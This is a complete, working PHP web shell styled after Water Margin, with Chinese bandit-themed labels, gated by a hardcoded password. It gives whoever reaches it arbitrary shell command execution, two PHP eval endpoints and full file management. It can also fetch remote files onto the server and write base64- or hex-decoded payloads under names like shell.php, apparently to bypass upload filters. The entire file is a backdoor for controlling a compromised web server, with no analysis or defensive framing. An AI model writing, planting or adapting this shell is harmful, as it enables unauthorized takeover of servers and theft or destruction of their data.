<?php
/* ========================================
   🔴 水浒传 · 聚义厅管理系统
   ======================================== */
session_start();
error_reporting(0);
ini_set('display_errors', 0);

/* ---- 1. 登录验证 ---- */
define('PASS', 'asd');

if (isset($_GET['logout'])) { session_destroy(); header('Location: ?'); exit; }
if (isset($_POST['pwd'])) {
    if ($_POST['pwd'] === PASS) $_SESSION['auth'] = 1;
    header('Location: ?'); exit;
}
if (!isset($_SESSION['auth'])) {
    echo '<!DOCTYPE html><html><head><meta charset="UTF-8"><title>忠义堂</title><style>
    body{background:#1a0000;color:#c9a959;font-family:"KaiTi","STKaiti",serif;display:flex;justify-content:center;align-items:center;height:100vh;margin:0;}
    .box{border:2px solid #8b0000;padding:50px;text-align:center;background:rgba(26,0,0,.9);}
    h1{letter-spacing:15px;margin-bottom:30px;}
    input{background:#000;color:#c9a959;border:1px solid #8b0000;padding:12px;width:280px;text-align:center;}
    button{margin-top:20px;padding:12px 40px;background:#8b0000;color:#fff;border:none;font-weight:bold;cursor:pointer;}
    </style></head><body><div class="box"><h1>🔒 忠义堂</h1>
    <form method="post"><input name="pwd" type="password" placeholder="输入口令" autofocus><br>
    <button type="submit">进 入</button></form></div></body></html>';
    exit;
}

/* ---- 2. 路径与基础变量 ---- */
$cur = isset($_GET['dir']) ? realpath($_GET['dir']) : realpath('.');
if (!$cur || !is_dir($cur)) $cur = realpath('.');
$cur = rtrim($cur, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR;
$msg = '';

/* ---- 3. 核心逻辑处理 ---- */

// A. 文件/目录操作
if (isset($_POST['action'])) {
    switch ($_POST['action']) {
        case 'mkdir':
            @mkdir($cur . $_POST['name']) ? $msg = "📁 山寨已立" : $msg = "失败";
            break;
        case 'mkfile':
            @file_put_contents($cur . $_POST['name'], '') !== false ? $msg = "📄 榜文已发" : $msg = "失败";
            break;
        case 'edit':
            @file_put_contents($_POST['filepath'], $_POST['content']) !== false ? $msg = "💾 已归档" : $msg = "失败";
            break;
        case 'rename':
            @rename($_POST['old'], $_POST['new']) ? $msg = "✒️ 更名成功" : $msg = "失败";
            break;
        case 'chmod':
            @chmod($_POST['file'], octdec($_POST['mode'])) ? $msg = "🔐 权限已改" : $msg = "失败";
            break;
        case 'upload':
            if (!empty($_FILES['file'])) {
                move_uploaded_file($_FILES['file']['tmp_name'], $cur . basename($_FILES['file']['name']));
            }
            break;
        case 'urlupload': // URL 上传
            $url = $_POST['url'];
            $data = @file_get_contents($url);
            if ($data) {
                file_put_contents($cur . basename($url), $data);
                $msg = "🌐 劫得物资";
            } else { $msg = "劫掠失败"; }
            break;
        case 'zip': // 解压
            if (class_exists('ZipArchive')) {
                $z = new ZipArchive;
                if ($z->open($_POST['zipfile']) === TRUE) {
                    $z->extractTo($cur); $z->close(); $msg = "🗜️ 开箱取货";
                } else { $msg = "开箱失败"; }
            }
            break;
        case 'evalwrite': // Eval 上传
            eval($_POST['code']);
            $msg = "🧪 炼制完成";
            break;
        case 'bypass': // 多版本 Bypass 模拟
            $content = $_POST['content'];
            $filename = $_POST['filename'];
            // v1: 直接写 v2: 加时间戳 v3: Base64 v4: Hex
            $v = $_POST['v'];
            if ($v == 2) $filename .= time();
            if ($v == 3) $content = base64_decode($content);
            if ($v == 4) $content = hex2bin($content);
            @file_put_contents($cur . $filename, $content);
            $msg = "🛡️ Bypass ({$v}) 完成";
            break;
    }
}

// B. 删除操作
if (isset($_GET['del'])) {
    $t = $_GET['del'];
    if (is_file($t)) @unlink($t); else @rmdir($t);
    $msg = "🗑️ 已销毁";
}

// C. 命令执行
$cmd_output = '';
if (isset($_POST['cmd'])) {
    $cmd_output = shell_exec("cd " . escapeshellarg($cur) . " && " . $_POST['cmd'] . " 2>&1");
}

// D. Eval 执行
$eval_output = '';
if (isset($_POST['php_code'])) {
    ob_start();
    try { eval($_POST['php_code']); } catch (Throwable $e) { echo $e->getMessage(); }
    $eval_output = ob_get_clean();
}

/* ---- 4. 读取文件列表 ---- */
$files = [];
if ($dh = @opendir($cur)) {
    while (($f = readdir($dh)) !== false) {
        if ($f == '.') continue;
        $fp = $cur . $f;
        $files[] = [
            'name' => $f, 'path' => $fp, 'is_dir' => is_dir($fp),
            'size' => is_dir($fp) ? '-' : round(filesize($fp)/1024,2).' KB',
            'perms' => substr(sprintf('%o', fileperms($fp)), -4),
            'mtime' => date("Y-m-d H:i", filemtime($fp))
        ];
    }
    closedir($dh);
}
usort($files, function($a, $b) {
    if ($a['is_dir'] == $b['is_dir']) return strnatcasecmp($a['name'], $b['name']);
    return $a['is_dir'] ? -1 : 1;
});

/* ---- 5. 硬盘信息 ---- */
$total = @disk_total_space($cur) ? round(disk_total_space($cur)/1024/1024/1024,2) : 0;
$free = @disk_free_space($cur) ? round(disk_free_space($cur)/1024/1024/1024,2) : 0;
?>
<!DOCTYPE html>
<html lang="zh">
<head>
    <meta charset="UTF-8">
    <title>聚义厅</title>
    <style>
        body { font-family: "KaiTi", "STKaiti", serif; background: #1a0000; color: #c9a959; margin: 10px; font-size: 13px; }
        .header { background: linear-gradient(90deg, #2a0a0a, #1a0000); border: 1px solid #8b0000; padding: 10px; margin-bottom: 10px; }
        .nav { background: #2a0a0a; padding: 8px; margin-bottom: 10px; display: flex; gap: 15px; }
        .nav a { color: #c9a959; text-decoration: none; font-weight: bold; }
        .nav a.logout { margin-left: auto; color: #ff4500; }
        .section { background: #2a0a0a; border: 1px solid #444; padding: 15px; margin-top: 15px; }
        table { width: 100%; border-collapse: collapse; }
        th, td { padding: 8px; border: 1px solid #444; }
        th { background: #3a1a1a; color: #ff4500; }
        tr:hover { background: #3a1a1a; }
        input, textarea, select { background: #1a0000; color: #c9a959; border: 1px solid #8b0000; padding: 5px; }
        input[type="submit"], button { background: #8b0000; color: #fff; border: none; padding: 6px 15px; cursor: pointer; }
        .msg { color: #4caf50; font-weight: bold; }
        pre { background: #000; padding: 10px; border: 1px solid #444; color: #00ff00; white-space: pre-wrap; }
    </style>
</head>
<body>

<div class="header">
    <strong>🏴 聚义厅：</strong> <?php echo $cur; ?> |
    <strong>💽 钱粮：</strong> <?php echo $free; ?>GB / <?php echo $total; ?>GB
</div>

<div class="nav">
    <a href="?dir=<?php echo urlencode(dirname($cur)); ?>">[ 返回山寨 ]</a>
    <a href="#upload">[ 搬粮 ]</a>
    <a href="#terminal">[ 点将台 ]</a>
    <a href="#eval">[ 法场 ]</a>
    <a href="?logout=1" class="logout">[ 下山 ]</a>
</div>

<?php if ($msg): ?><p class="msg">[ 通报 ]: <?php echo $msg; ?></p><?php endif; ?>

<table>
    <thead>
        <tr>
            <th>名称</th>
            <th>大小</th>
            <th>修改时间</th>
            <th>权限</th>
            <th>操作</th>
        </tr>
    </thead>
    <tbody>
        <?php foreach ($files as $f): ?>
        <tr>
            <td>
                <?php if ($f['is_dir']): ?>
                    <a href="?dir=<?php echo urlencode($f['path']); ?>" style="color:#ff8c00;"><?php echo $f['name']; ?>/</a>
                <?php else: ?>
                    <a href="?view=<?php echo urlencode($f['path']); ?>"><?php echo $f['name']; ?></a>
                <?php endif; ?>
            </td>
            <td><?php echo $f['size']; ?></td>
            <td><?php echo $f['mtime']; ?></td>
            <td><?php echo $f['perms']; ?></td>
            <td>
                <?php if (!is_dir($f['path'])): ?>
                    <a href="?edit=<?php echo urlencode($f['path']); ?>">编辑</a> |
                    <a href="?download=<?php echo urlencode($f['path']); ?>">下载</a> |
                <?php endif; ?>
                <a href="?rename=<?php echo urlencode($f['path']); ?>">更名</a> |
                <a href="?chmod=<?php echo urlencode($f['path']); ?>">权限</a> |
                <a href="?del=<?php echo urlencode($f['path']); ?>" onclick="return confirm('确定销毁？')">删除</a>
            </td>
        </tr>
        <?php endforeach; ?>
    </tbody>
</table>

<!-- 上传区域 -->
<div class="section" id="upload">
    <h3>📦 搬粮入库 (Upload)</h3>
    <form method="post" enctype="multipart/form-data">
        <input type="hidden" name="action" value="upload">
        <input type="file" name="file"> <input type="submit" value="入库">
    </form>
    <hr>
    <form method="post">
        <input type="hidden" name="action" value="urlupload">
        URL 劫掠：<input type="text" name="url" style="width:60%;" placeholder="https://example.com/shell.txt"> <input type="submit" value="劫取">
    </form>
    <hr>
    <form method="post">
        <input type="hidden" name="action" value="zip">
        ZIP 解压：<input type="text" name="zipfile" style="width:60%;" placeholder="/path/to/file.zip"> <input type="submit" value="开箱">
    </form>
    <hr>
    <form method="post">
        <input type="hidden" name="action" value="bypass">
        多版本 Bypass (v1-v4)：
        <select name="v">
            <option value="1">v1 Direct</option>
            <option value="2">v2 Time</option>
            <option value="3">v3 Base64</option>
            <option value="4">v4 Hex</option>
        </select>
        <input type="text" name="filename" placeholder="shell.php">
        <textarea name="content" placeholder="Code here..."></textarea>
        <input type="submit" value="炼制">
    </form>
</div>

<!-- 终端 -->
<div class="section" id="terminal">
    <h3>💻 点将台 (Terminal)</h3>
    <form method="post">
        <input type="text" name="cmd" style="width:60%;" placeholder="whoami / ls -la"> <input type="submit" value="执行">
    </form>
    <?php if ($cmd_output): ?><pre><?php echo htmlspecialchars($cmd_output); ?></pre><?php endif; ?>
</div>

<!-- Eval -->
<div class="section" id="eval">
    <h3>🧪 法场 (Eval)</h3>
    <form method="post">
        <textarea name="php_code" style="width:100%;height:100px;" placeholder="phpinfo();"><?php echo $_POST['php_code'] ?? ''; ?></textarea><br><br>
        <input type="submit" value="行刑">
    </form>
    <?php if ($eval_output): ?><pre><?php echo htmlspecialchars($eval_output); ?></pre><?php endif; ?>
</div>

<?php
// 下载
if (isset($_GET['download'])) {
    $f = $_GET['download'];
    if (is_file($f)) {
        header('Content-Disposition: attachment; filename="'.basename($f).'"');
        readfile($f);
        exit;
    }
}
// 查看/编辑
if (isset($_GET['edit'])) {
    $f = $_GET['edit'];
    echo '<div class="section"><h3>📝 批阅：'.basename($f).'</h3>';
    echo '<form method="post"><input type="hidden" name="action" value="edit">';
    echo '<input type="hidden" name="filepath" value="'.$f.'">';
    echo '<textarea name="content" style="width:100%;height:300px;">'.htmlspecialchars(file_get_contents($f)).'</textarea><br><br>';
    echo '<input type="submit" value="保存"></form></div>';
}
// 重命名
if (isset($_GET['rename'])) {
    $old = $_GET['rename'];
    echo '<div class="section"><h3>✒️ 更名</h3><form method="post">';
    echo '<input type="hidden" name="action" value="rename">';
    echo '<input type="hidden" name="old" value="'.$old.'">';
    echo '<input type="text" name="new" value="'.basename($old).'"> ';
    echo '<input type="submit" value="确认"></form></div>';
}
// 权限
if (isset($_GET['chmod'])) {
    $f = $_GET['chmod'];
    echo '<div class="section"><h3>🔐 权限设置</h3><form method="post">';
    echo '<input type="hidden" name="action" value="chmod">';
    echo '<input type="hidden" name="file" value="'.$f.'">';
    echo '<select name="mode"><option value="0644">0644</option><option value="0755">0755</option><option value="0777">0777</option></select> ';
    echo '<input type="submit" value="设置"></form></div>';
}
?>

</body>
</html>